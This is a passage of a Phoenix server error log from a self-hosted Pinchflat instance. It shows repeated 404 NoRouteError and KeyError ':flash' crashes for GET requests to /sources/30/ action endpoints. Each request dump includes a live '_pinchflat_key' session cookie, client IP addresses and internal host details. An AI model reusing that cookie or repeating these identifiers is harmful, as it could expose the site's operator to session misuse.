"x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/sync_files_on_disk", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, (truncated) 04:53:46.735 [error] #PID<0.139243.0> running PinchflatWeb.Endpoint (connection #PID<0.139236.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139243.0>, params: %{}, path_info: ["sources", "30", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0iV0wIYh9eQAADIn"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_metadata_refresh", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3 (truncated) 04:53:46.746 [info] GET /sources/30/force_redownload 04:53:46.747 [info] GET /sources/30/force_index 04:53:46.747 [debug] QUERY OK source="settings" db=0.5ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.747 [info] GET /sources/30/force_download_pending 04:53:46.748 [debug] QUERY OK source="settings" db=0.8ms idle=15.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.749 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=15.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.749 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.749 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=15.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.750 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=15.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.750 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.750 [debug] QUERY OK source="settings" db=0.5ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:46.751 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:46.751 [error] #PID<0.139246.0> running PinchflatWeb.Endpoint (connection #PID<0.139105.0>, stream id 11) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139246.0>, params: %{}, path_info: ["sources", "30", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0iZnHUGKfvQADaZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_download_pending", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 11, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFyS (truncated) 04:53:46.750 [error] #PID<0.139244.0> running PinchflatWeb.Endpoint (connection #PID<0.139236.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139244.0>, params: %{}, path_info: ["sources", "30", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0iZSogbpdEcAADJH"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139236.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_redownload", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halte (truncated) 04:53:46.761 [info] GET /sources/30 04:53:46.762 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "30"} Pipelines: [:browser] 04:53:46.752 [error] #PID<0.139245.0> running PinchflatWeb.Endpoint (connection #PID<0.139240.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139240.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/force_index", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48192}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => 